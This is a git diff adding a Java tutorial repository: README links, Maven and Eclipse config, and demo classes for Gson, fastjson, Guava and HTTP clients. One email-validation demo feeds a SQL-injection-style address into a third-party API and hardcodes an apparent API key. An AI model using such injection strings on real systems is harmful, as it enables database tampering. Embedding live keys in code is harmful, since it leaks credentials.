+- [HashMap 的 hash 原理](docs/collection/hash.md)
+- [HashMap 的扩容机制](docs/collection/hashmap-resize.md)
+- [HashMap 的加载因子为什么是 0.75](docs/collection/hashmap-loadfactor.md)
+- [为什么 HashMap 是线程不安全的?](docs/collection/hashmap-thread-nosafe.md)
+
+
+**异常处理**
+
+- [异常处理机制](docs/exception/gailan.md)
+- [try-catch-finally](docs/exception/try-catch-finally.md)
+- [throw 和 throws](docs/exception/throw-throws.md)
+- [try-with-resouces](docs/exception/try-with-resouces.md)
+- [异常最佳实践](docs/exception/shijian.md)
+
+**常用工具类**
+
+- [数组工具类:Arrays](docs/common-tool/arrays.md)
+- [集合工具类:Collections](docs/common-tool/collections.md)
+- [简化每一行代码工具类:Hutool](docs/common-tool/hutool.md)
+- [Guava,拯救垃圾代码,效率提升N倍](docs/common-tool/guava.md)
+
+**Java IO**
+
+- [IO 流的分类和概述](docs/io/shangtou.md)
+
+**入门篇加餐**
+
+- [Java 中常用的 48 个关键字](docs/basic-extra-meal/48-keywords.md)
+- [Java 命名约定](docs/basic-extra-meal/java-naming.md)
+- [Java 默认的编码方式 Unicode](docs/basic-extra-meal/java-unicode.md)
+- [new Integer(18) 与 Integer.valueOf(18) ](docs/basic-extra-meal/int-cache.md)
+- [自动拆箱与自动装箱](docs/basic-extra-meal/box.md)
+- [浅拷贝与深拷贝](docs/basic-extra-meal/deep-copy.md)
+- [为什么重写 equals 时必须重写 hashCode 方法](docs/basic-extra-meal/equals-hashcode.md)
+- [注解](docs/basic-extra-meal/annotation.md)
+- [枚举](docs/basic-extra-meal/enum.md)
+- [深入理解 Java 中的反射](docs/basic-extra-meal/fanshe.md)
+- [Java 不能实现真正泛型的原因](docs/basic-extra-meal/true-generic.md)
+- [Java程序在编译期发生了什么](docs/basic-extra-meal/what-happen-when-javac.md)
+- [Comparable和Comparator](docs/basic-extra-meal/comparable-omparator.md)
+
+
+**Java 并发编程**
+
+- [室友打一把王者就学会了多线程](docs/thread/wangzhe-thread.md)
+
+
+**Java 虚拟机**
+
+- [初识JVM](docs/jvm/what-is-jvm.md)
+
+**八股文**
+
+- [Java 精选面试题 34 卷](docs/baguwen/java-basic-34.md)
+- [Java 基础(背诵版)](docs/baguwen/java-basic.md)
+- [HashMap精选面试题](docs/collection/hashmap-interview.md)
+- [Java 并发编程(背诵版)](docs/baguwen/java-thread.md)
+- [Java 虚拟机(背诵版)](docs/baguwen/jvm.md)
+
+
+**城市选择**
+
+- [北京都有哪些牛逼的互联网公司?](https://mp.weixin.qq.com/s/xlPZfpd89rDq6L-Me80wnw)
+- [广州都有哪些牛逼的互联网公司?](https://mp.weixin.qq.com/s/uZQ8p0ytsQFXzt5ppzx6fA)
+- [深圳有哪些牛批的互联网公司?](https://mp.weixin.qq.com/s/hBU-eEUq8aN5PWwdZFmC4g)
+- [西安有哪些不错的互联网公司?](https://mp.weixin.qq.com/s/s0Ub1CHC9eEi0YrqPrnRog)
+- [青岛有牛逼的互联网公司吗?](https://mp.weixin.qq.com/s/8QQvOrkG3Vdjj3GxP1zxBQ)
+- [郑州有哪些不错的互联网公司?](https://mp.weixin.qq.com/s/SU9drg2xJKcheIwJ6OSSBQ)
+- [苏州有哪些牛逼的互联网公司?](https://mp.weixin.qq.com/s/cnYsZLudFOwv5EKYMsMh0Q)
+
+- **其他:**
+
+- [公众号](docs/bottom.md)
+
diff --git a/codes/TechSister/.classpath b/codes/TechSister/.classpath
new file mode 100644
index 0000000000..92b9cb8166
--- /dev/null
+++ b/codes/TechSister/.classpath
@@ -0,0 +1,49 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/codes/TechSister/.gitignore b/codes/TechSister/.gitignore
new file mode 100644
index 0000000000..ed5080ba16
--- /dev/null
+++ b/codes/TechSister/.gitignore
@@ -0,0 +1,5 @@
+*.DS_Store
+*.xml
+*.iml
+target/
+.idea/
\ No newline at end of file
diff --git a/codes/TechSister/.project b/codes/TechSister/.project
new file mode 100644
index 0000000000..e9b4b37961
--- /dev/null
+++ b/codes/TechSister/.project
@@ -0,0 +1,34 @@
+
+
+ TechSister
+
+
+
+
+
+ org.eclipse.jdt.core.javabuilder
+
+
+
+
+ org.eclipse.m2e.core.maven2Builder
+
+
+
+
+
+ org.eclipse.jdt.core.javanature
+ org.eclipse.m2e.core.maven2Nature
+
+
+
+ 1630030652833
+
+ 30
+
+ org.eclipse.core.resources.regexFilterMatcher
+ node_modules|.git|__CREATED_BY_JAVA_LANGUAGE_SERVER__
+
+
+
+
diff --git a/codes/TechSister/pom.xml b/codes/TechSister/pom.xml
new file mode 100644
index 0000000000..fd5f800fea
--- /dev/null
+++ b/codes/TechSister/pom.xml
@@ -0,0 +1,123 @@
+
+
+ 4.0.0
+
+ com.itwanger
+ TechSister
+ 1.0-SNAPSHOT
+
+
+
+ jitpack.io
+ https://jitpack.io
+
+
+
+
+
+ cn.hutool
+ hutool-all
+ 5.4.3
+
+
+ com.shekhargulati
+ strman
+ 0.4.0
+
+
+
+ com.fasterxml.jackson.core
+ jackson-databind
+ 2.10.1
+
+
+
+ com.google.code.gson
+ gson
+ 2.8.6
+
+
+
+ com.alibaba
+ fastjson
+ 1.2.70
+
+
+
+ com.google.guava
+ guava
+ 30.1-jre
+
+
+
+
+
+ com.github.Cloudmersive
+ Cloudmersive.APIClient.Java
+ v3.54
+
+
+ org.junit.jupiter
+ junit-jupiter
+ RELEASE
+ compile
+
+
+ org.apache.httpcomponents.client5
+ httpclient5
+ 5.1
+
+
+ org.apache.httpcomponents.client5
+ httpclient5-fluent
+ 5.1
+
+
+ com.squareup.okhttp3
+ okhttp
+ 5.0.0-alpha.2
+
+
+ com.dtflys.forest
+ forest-core
+ 1.5.1
+
+
+
+ javax.xml.bind
+ jaxb-api
+ 2.2.11
+
+
+ com.sun.xml.bind
+ jaxb-core
+ 2.2.11
+
+
+ com.sun.xml.bind
+ jaxb-impl
+ 2.2.11
+
+
+ javax.activation
+ activation
+ 1.1.1
+
+
+
+
+
+
+ org.apache.maven.plugins
+ maven-compiler-plugin
+ 3.8.1
+
+ 11
+ 11
+
+
+
+
+
\ No newline at end of file
diff --git a/codes/TechSister/src/main/java/com/itwanger/alibaba/Singleton.java b/codes/TechSister/src/main/java/com/itwanger/alibaba/Singleton.java
new file mode 100644
index 0000000000..d35201ea7e
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/alibaba/Singleton.java
@@ -0,0 +1,8 @@
+package com.itwanger.alibaba;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public enum Singleton {
+ INSTANCE;
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/alibaba/Test.java b/codes/TechSister/src/main/java/com/itwanger/alibaba/Test.java
new file mode 100644
index 0000000000..55b655411a
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/alibaba/Test.java
@@ -0,0 +1,13 @@
+package com.itwanger.alibaba;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ */
+public class Test {
+ public static void main(String[] args) {
+ List list = new ArrayList<>();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/basic/Test.java b/codes/TechSister/src/main/java/com/itwanger/basic/Test.java
new file mode 100644
index 0000000000..99f6675021
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/basic/Test.java
@@ -0,0 +1,35 @@
+package com.itwanger.basic;
+
+import java.util.HashMap;
+import java.util.Hashtable;
+import java.util.Map;
+import java.util.Objects;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Test {
+ public static void main(String[] args) {
+ Student s1 = new Student(18, "张三");
+ Map scores = new HashMap<>();
+ scores.put(s1, 98);
+ System.out.println(scores.get(new Student(18, "张三")));
+ }
+}
+ class Student {
+ private int age;
+ private String name;
+
+ public Student(int age, String name) {
+ this.age = age;
+ this.name = name;
+ }
+
+ @Override
+ public boolean equals(Object o) {
+ Student student = (Student) o;
+ return age == student.age &&
+ Objects.equals(name, student.name);
+ }
+
+ }
\ No newline at end of file
diff --git a/codes/TechSister/src/main/java/com/itwanger/eighteen/Demo.java b/codes/TechSister/src/main/java/com/itwanger/eighteen/Demo.java
new file mode 100644
index 0000000000..6048def30e
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/eighteen/Demo.java
@@ -0,0 +1,11 @@
+package com.itwanger.eighteen;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/11/26
+ */
+public class Demo {
+ void Demo(){ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/email/Demo.java b/codes/TechSister/src/main/java/com/itwanger/email/Demo.java
new file mode 100644
index 0000000000..7ee5c4bf6a
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/email/Demo.java
@@ -0,0 +1,40 @@
+package com.itwanger.email;
+
+
+import com.cloudmersive.client.invoker.ApiClient;
+import com.cloudmersive.client.invoker.ApiException;
+import com.cloudmersive.client.invoker.Configuration;
+import com.cloudmersive.client.EmailApi;
+import com.cloudmersive.client.invoker.auth.ApiKeyAuth;
+import com.cloudmersive.client.model.AddressGetServersResponse;
+import com.cloudmersive.client.model.AddressVerifySyntaxOnlyResponse;
+import com.cloudmersive.client.model.FullEmailValidationResponse;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/11/25
+ */
+public class Demo {
+ public static void main(String[] args) {
+ ApiClient defaultClient = Configuration.getDefaultApiClient();
+ ApiKeyAuth Apikey = (ApiKeyAuth) defaultClient.getAuthentication("Apikey");
+ Apikey.setApiKey("2211cfcf-f65b-41ee-a3c0-1fc3b4eb665f");
+
+ EmailApi apiInstance = new EmailApi();
+// String value = "98343676@qq.com";
+ String value = "“1-’or’1'=’1”@email.com";
+ try {
+// AddressVerifySyntaxOnlyResponse result = apiInstance.emailPost(value);
+// System.out.println(result);
+
+// AddressGetServersResponse result = apiInstance.emailAddressGetServers(value);
+ FullEmailValidationResponse result = apiInstance.emailFullValidation(value);
+ System.out.println(result);
+ } catch (ApiException e) {
+ System.err.println("调用 EmailApi#emailPost 的时候出错了");
+ e.printStackTrace();
+ }
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/fastjson/Test.java b/codes/TechSister/src/main/java/com/itwanger/fastjson/Test.java
new file mode 100644
index 0000000000..47a25d8437
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/fastjson/Test.java
@@ -0,0 +1,78 @@
+package com.itwanger.fastjson;
+
+import com.alibaba.fastjson.JSON;
+import com.alibaba.fastjson.annotation.JSONField;
+import com.alibaba.fastjson.serializer.SerializerFeature;
+
+import java.util.Date;
+import java.util.List;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/12/17
+ */
+public class Test {
+ public static void main(String[] args) {
+Writer writer = new Writer();
+writer.setAge(18);
+writer.setName("沉默王二");
+writer.setBirthday(new Date());
+
+String json = JSON.toJSONString(writer);
+System.out.println(json);
+System.out.println(JSON.toJSONString(writer, SerializerFeature.PrettyFormat, SerializerFeature.UseSingleQuotes));
+
+ Writer writer1 = JSON.parseObject(json, Writer.class);
+ System.out.println(writer1);
+
+ List list = JSON.parseArray("[{\"age\":18,\"name\":\"沉默王二\"},{\"age\":19,\"name\":\"沉默王一\"}]", Writer.class);
+ System.out.println(list);
+
+
+
+ }
+}
+class Writer {
+ private int age;
+ private String name;
+ private Date birthday;
+
+ @JSONField(format = "yyyy年MM月dd日")
+ public Date getBirthday() {
+ return birthday;
+ }
+
+ public void setBirthday(Date birthday) {
+ this.birthday = birthday;
+ }
+
+ @JSONField(name = "Age")
+ public int getAge() {
+ return age;
+ }
+
+ public void setAge(int age) {
+ this.age = age;
+ }
+
+ @JSONField(serialize = false,deserialize = true)
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+
+static int add(int ... args) {
+ int sum = 0;
+ for ( int a: args) {
+ sum += a;
+ }
+ return sum;
+}
+}
+
+
diff --git a/codes/TechSister/src/main/java/com/itwanger/five/HelloWorld.java b/codes/TechSister/src/main/java/com/itwanger/five/HelloWorld.java
new file mode 100644
index 0000000000..e1ae65056a
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/five/HelloWorld.java
@@ -0,0 +1,10 @@
+package com.itwanger.five;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class HelloWorld {
+ public static void main(String[] args) {
+ System.out.println("三妹,少看手机少打游戏,好好学,美美哒。");
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/four/HelloWorld.java b/codes/TechSister/src/main/java/com/itwanger/four/HelloWorld.java
new file mode 100644
index 0000000000..5aae9af11d
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/four/HelloWorld.java
@@ -0,0 +1,10 @@
+package com.itwanger.four;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class HelloWorld {
+ public static void main(String[] args) {
+ System.out.println("三妹,少看手机少打游戏,好好学,美美哒。");
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/fourteen/Demo.java b/codes/TechSister/src/main/java/com/itwanger/fourteen/Demo.java
new file mode 100644
index 0000000000..e009a62185
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/fourteen/Demo.java
@@ -0,0 +1,21 @@
+package com.itwanger.fourteen;
+
+import java.util.List;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ */
+class Demo {
+ /**
+ * 姓名
+ */
+ private int age;
+
+ /**
+ * main 方法作为程序的入口
+ *
+ * @param args 参数
+ */
+ public static void main(String[] args) {
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/fourteen/Test.java b/codes/TechSister/src/main/java/com/itwanger/fourteen/Test.java
new file mode 100644
index 0000000000..2cb24d97aa
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/fourteen/Test.java
@@ -0,0 +1,10 @@
+package com.itwanger.fourteen;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/11/16
+ */
+public class Test {
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/fourteen/element-list b/codes/TechSister/src/main/java/com/itwanger/fourteen/element-list
new file mode 100644
index 0000000000..5cc88728cb
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/fourteen/element-list
@@ -0,0 +1 @@
+com.itwanger.fourteen
diff --git a/codes/TechSister/src/main/java/com/itwanger/gson/ArbitraryTypes.java b/codes/TechSister/src/main/java/com/itwanger/gson/ArbitraryTypes.java
new file mode 100644
index 0000000000..607adcc2ec
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/gson/ArbitraryTypes.java
@@ -0,0 +1,46 @@
+package com.itwanger.gson;
+
+import com.google.gson.Gson;
+import com.google.gson.JsonArray;
+import com.google.gson.JsonParser;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/12/8
+ */
+public class ArbitraryTypes {
+ public static void main(String[] args) {
+
+List list = new ArrayList();
+list.add("沉默王二");
+list.add(18);
+list.add(new Event("gson", "google"));
+
+
+Gson gson = new Gson();
+String json = gson.toJson(list);
+System.out.println(json);
+
+ List list1 = gson.fromJson(json,list.getClass());
+ System.out.println(list1);
+
+JsonParser parser = new JsonParser();
+JsonArray array = parser.parse(json).getAsJsonArray();
+String message = gson.fromJson(array.get(0), String.class);
+int number = gson.fromJson(array.get(1), int.class);
+Event event = gson.fromJson(array.get(2), Event.class);
+ }
+}
+class Event {
+ private String name;
+ private String source;
+ Event(String name, String source) {
+ this.name = name;
+ this.source = source;
+ }
+}
\ No newline at end of file
diff --git a/codes/TechSister/src/main/java/com/itwanger/gson/Demo.java b/codes/TechSister/src/main/java/com/itwanger/gson/Demo.java
new file mode 100644
index 0000000000..65652f82c9
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/gson/Demo.java
@@ -0,0 +1,54 @@
+package com.itwanger.gson;
+
+import com.google.gson.Gson;
+import com.google.gson.GsonBuilder;
+import com.google.gson.reflect.TypeToken;
+
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/12/8
+ */
+public class Demo {
+ public static void main(String[] args) {
+ // 序列化
+Gson gson = new Gson();
+System.out.println(gson.toJson(18));
+System.out.println(gson.toJson("沉默"));
+System.out.println(gson.toJson(new Integer(18)));
+int[] values = { 18,20 };
+System.out.println(gson.toJson(values));
+
+List list =new ArrayList<>();
+list.add("好好学习");
+list.add("天天向上");
+String json = gson.toJson(list);
+ System.out.println(json);
+
+
+
+
+Type listType = new TypeToken>(){}.getType();
+ List listResult = gson.fromJson(json,List.class);
+ System.out.println(listResult);
+
+// 反序列化
+int one = gson.fromJson("1", int.class);
+Integer two = gson.fromJson("2", Integer.class);
+Boolean false1 = gson.fromJson("false", Boolean.class);
+String str = gson.fromJson("\"王二\"", String.class);
+String[] anotherStr = gson.fromJson("[\"沉默\",\"王二\"]", String[].class);
+
+System.out.println(one);
+System.out.println(two);
+System.out.println(false1);
+System.out.println(str);
+System.out.println(Arrays.toString(anotherStr));
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/gson/Foo.java b/codes/TechSister/src/main/java/com/itwanger/gson/Foo.java
new file mode 100644
index 0000000000..17c23ad02d
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/gson/Foo.java
@@ -0,0 +1,46 @@
+package com.itwanger.gson;
+
+import com.google.gson.Gson;
+import com.google.gson.reflect.TypeToken;
+
+import java.lang.reflect.Type;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/12/8
+ */
+public class Foo {
+ T value;
+
+ public void set(T value) {
+ this.value = value;
+ }
+
+ public T get() {
+ return value;
+ }
+
+ public static void main(String[] args) {
+ Gson gson = new Gson();
+ Foo foo = new Foo();
+ Bar bar = new Bar();
+ foo.set(bar);
+
+Type fooType = new TypeToken>() {}.getType();
+String json = gson.toJson(foo,fooType);
+ System.out.println(json);
+
+
+
+Foo foo1 = gson.fromJson(json, fooType);
+Bar bar1 = foo1.get();
+ System.out.println(bar1);
+ }
+}
+
+class Bar{
+ private int age = 10;
+ private String name = "图灵";
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/gson/InnerClass.java b/codes/TechSister/src/main/java/com/itwanger/gson/InnerClass.java
new file mode 100644
index 0000000000..212a7ee4e3
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/gson/InnerClass.java
@@ -0,0 +1,40 @@
+package com.itwanger.gson;
+
+import com.google.gson.Gson;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/12/8
+ */
+class A {
+ public String a = "a";
+
+ class B {
+ public String b = "b";
+
+ @Override
+ public String toString() {
+ return "B{" +
+ "b='" + b + '\'' +
+ '}';
+ }
+ }
+
+ @Override
+ public String toString() {
+ return "A{" +
+ "a='" + a + '\'' +
+ '}';
+ }
+
+ public static void main(String[] args) {
+ Gson gson = new Gson();
+ String json = gson.toJson(new A());
+
+ json = "{\"b\":\"b\"}";
+ B b = gson.fromJson(json, B.class);
+ System.out.println(b);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/gson/Writer.java b/codes/TechSister/src/main/java/com/itwanger/gson/Writer.java
new file mode 100644
index 0000000000..ba6379e2d6
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/gson/Writer.java
@@ -0,0 +1,58 @@
+package com.itwanger.gson;
+
+import com.google.gson.Gson;
+import com.google.gson.GsonBuilder;
+import com.google.gson.annotations.Expose;
+
+import java.lang.reflect.Modifier;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/12/8
+ */
+public class Writer {
+@Expose
+private int age = 18;
+ private String name = "沉默王二";
+
+ private transient int sex;
+
+ @Override
+ public String toString() {
+ return "Writer{" +
+ "age=" + age +
+ ", name='" + name + '\'' +
+ ", sex=" + sex +
+ '}';
+ }
+
+ public static void main(String[] args) {
+ Writer writer = new Writer();
+ Gson gson = new Gson();
+ String json = gson.toJson(writer);
+ System.out.println(json);
+
+ Gson gson1 = new GsonBuilder().setPrettyPrinting().create();
+ String jsonOutput = gson1.toJson(writer);
+ System.out.println(jsonOutput);
+
+ Gson gson2 = new GsonBuilder().serializeNulls().create();
+ String jsonOutput2 = gson2.toJson(writer);
+ System.out.println(jsonOutput2);
+
+Gson gson3 = new GsonBuilder().excludeFieldsWithModifiers(Modifier.TRANSIENT).create();
+ String jsonOutput3 = gson3.toJson(writer);
+ System.out.println(jsonOutput3);
+
+ Gson gson4 = new GsonBuilder().excludeFieldsWithoutExposeAnnotation().create();
+ String jsonOutput4 = gson4.toJson(writer);
+ System.out.println("jsonOutput4"+jsonOutput4);
+
+ json = "{\"age\":0,\"name\":\"\"}";
+
+ Writer writer1 = gson.fromJson(json, Writer.class);
+ System.out.println(writer1);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/guava/NullTest.java b/codes/TechSister/src/main/java/com/itwanger/guava/NullTest.java
new file mode 100644
index 0000000000..592d20373d
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/guava/NullTest.java
@@ -0,0 +1,66 @@
+package com.itwanger.guava;
+
+import com.google.common.base.Joiner;
+import com.google.common.base.Optional;
+import com.google.common.base.Splitter;
+import com.google.common.cache.CacheBuilder;
+import com.google.common.collect.ImmutableList;
+import com.google.common.collect.Lists;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class NullTest {
+ public static void main(String[] args) {
+Optional possible = Optional.of(5);
+possible.isPresent(); // returns true
+possible.get(); // returns 5
+
+
+// 下面的代码利用Collections.unmodifiableList(list)得到一个不可修改的集合unmodifiableList
+List list = new ArrayList();
+list.add("沉默王二");
+list.add("微信搜一下");
+
+List unmodifiableList = Collections.unmodifiableList(list);
+
+//[沉默王二, 微信搜一下]
+System.out.println(unmodifiableList);
+
+ list.add("沉默王三");
+ System.out.println(unmodifiableList);
+
+List stringArrayList = Lists.newArrayList("雷军","乔布斯");
+ImmutableList immutableList = ImmutableList.copyOf(stringArrayList);
+//immutableList.add("马云");
+
+ stringArrayList.add("马云");
+ System.out.println(immutableList);
+
+//CacheBuilder.newBuilder()
+// .expireAfterWrite(2, TimeUnit.MINUTES)
+// .build(new CacheLoader () {
+// public DatabaseConnection load(Key key) throws Exception {
+// return openConnection(key);
+// }
+// });
+
+
+ Joiner joiner = Joiner.on("; ").skipNulls();
+ System.out.println(joiner.join("雷军", null, "乔布斯"));
+
+System.out.println(Splitter.on(',')
+ .trimResults()
+ .omitEmptyStrings()
+ .split("雷军,乔布斯,, 沉默王二"));
+
+ System.out.println(File.separator);
+
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/http/ForRestClient.java b/codes/TechSister/src/main/java/com/itwanger/http/ForRestClient.java
new file mode 100644
index 0000000000..e7dc8e1f9b
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/http/ForRestClient.java
@@ -0,0 +1,13 @@
+package com.itwanger.http;
+
+import com.dtflys.forest.annotation.Body;
+import com.dtflys.forest.annotation.Post;
+import com.dtflys.forest.annotation.Request;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public interface ForRestClient {
+ @Post("http://httpbin.org/post")
+ String simplePost(@Body("name") String name);
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/http/ForRestDemo.java b/codes/TechSister/src/main/java/com/itwanger/http/ForRestDemo.java
new file mode 100644
index 0000000000..899b46b8d8
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/http/ForRestDemo.java
@@ -0,0 +1,21 @@
+package com.itwanger.http;
+
+import com.dtflys.forest.config.ForestConfiguration;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class ForRestDemo {
+ public static void main(String[] args) {
+ // 实例化Forest配置对象
+ ForestConfiguration configuration = ForestConfiguration.configuration();
+ configuration.setBackendName("httpclient");
+
+ // 通过Forest配置对象实例化Forest请求接口
+ ForRestClient myClient = configuration.createInstance(ForRestClient.class);
+
+ // 调用Forest请求接口,并获取响应返回结果
+ String result = myClient.simplePost("二哥");
+ System.out.println(result);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/http/HttpClientDemo.java b/codes/TechSister/src/main/java/com/itwanger/http/HttpClientDemo.java
new file mode 100644
index 0000000000..947ae87a7c
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/http/HttpClientDemo.java
@@ -0,0 +1,26 @@
+package com.itwanger.http;
+
+
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.net.http.HttpClient;
+import java.net.http.HttpRequest;
+import java.net.http.HttpResponse;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class HttpClientDemo {
+ public static void main(String[] args) throws URISyntaxException {
+ HttpClient client = HttpClient.newHttpClient();
+ HttpRequest request = HttpRequest.newBuilder()
+ .uri(new URI("https://httpbin.org/post"))
+ .headers("Content-Type", "text/plain;charset=UTF-8")
+ .POST(HttpRequest.BodyPublishers.ofString("二哥牛逼"))
+ .build();
+ client.sendAsync(request, HttpResponse.BodyHandlers.ofString())
+ .thenApply(HttpResponse::body)
+ .thenAccept(System.out::println)
+ .join();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/http/HttpComponentsDemo.java b/codes/TechSister/src/main/java/com/itwanger/http/HttpComponentsDemo.java
new file mode 100644
index 0000000000..44d63d8251
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/http/HttpComponentsDemo.java
@@ -0,0 +1,35 @@
+package com.itwanger.http;
+
+import org.apache.hc.client5.http.classic.methods.HttpPost;
+import org.apache.hc.client5.http.entity.UrlEncodedFormEntity;
+import org.apache.hc.client5.http.impl.classic.CloseableHttpClient;
+import org.apache.hc.client5.http.impl.classic.CloseableHttpResponse;
+import org.apache.hc.client5.http.impl.classic.HttpClients;
+import org.apache.hc.core5.http.HttpEntity;
+import org.apache.hc.core5.http.NameValuePair;
+import org.apache.hc.core5.http.ParseException;
+import org.apache.hc.core5.http.io.entity.EntityUtils;
+import org.apache.hc.core5.http.message.BasicNameValuePair;
+
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class HttpComponentsDemo {
+ public static void main(String[] args) throws IOException, IOException, ParseException {
+ try (CloseableHttpClient httpclient = HttpClients.createDefault()) {
+ HttpPost httpPost = new HttpPost("http://httpbin.org/post");
+ List nvps = new ArrayList<>();
+ nvps.add(new BasicNameValuePair("name", "二哥"));
+ httpPost.setEntity(new UrlEncodedFormEntity(nvps, Charset.forName("UTF-8")));
+
+ try (CloseableHttpResponse response2 = httpclient.execute(httpPost)) {
+ System.out.println(response2.getCode() + " " + EntityUtils.toString(response2.getEntity()));
+ }
+ }
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/http/HttpUrlConnectionDemo.java b/codes/TechSister/src/main/java/com/itwanger/http/HttpUrlConnectionDemo.java
new file mode 100644
index 0000000000..625b16a32d
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/http/HttpUrlConnectionDemo.java
@@ -0,0 +1,38 @@
+package com.itwanger.http;
+
+import java.io.*;
+import java.net.HttpURLConnection;
+import java.net.URL;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class HttpUrlConnectionDemo {
+ public static void main(String[] args) throws IOException {
+ String urlString = "https://httpbin.org/post";
+ String bodyString = "name=二哥";
+
+ URL url = new URL(urlString);
+ HttpURLConnection conn = (HttpURLConnection) url.openConnection();
+ conn.setRequestMethod("POST");
+ conn.setDoOutput(true);
+
+ OutputStream os = conn.getOutputStream();
+ os.write(bodyString.getBytes("utf-8"));
+ os.flush();
+ os.close();
+
+ if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
+ InputStream is = conn.getInputStream();
+ BufferedReader reader = new BufferedReader(new InputStreamReader(is));
+ StringBuilder sb = new StringBuilder();
+ String line;
+ while ((line = reader.readLine()) != null) {
+ sb.append(line);
+ }
+ System.out.println("响应内容:" + sb.toString());
+ } else {
+ System.out.println("响应码:" + conn.getResponseCode());
+ }
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/http/OkHttpPostDemo.java b/codes/TechSister/src/main/java/com/itwanger/http/OkHttpPostDemo.java
new file mode 100644
index 0000000000..064a7e576f
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/http/OkHttpPostDemo.java
@@ -0,0 +1,36 @@
+package com.itwanger.http;
+
+import java.io.IOException;
+import okhttp3.MediaType;
+import okhttp3.OkHttpClient;
+import okhttp3.Request;
+import okhttp3.RequestBody;
+import okhttp3.Response;
+
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class OkHttpPostDemo {
+ public static final MediaType JSON = MediaType.get("application/json; charset=utf-8");
+
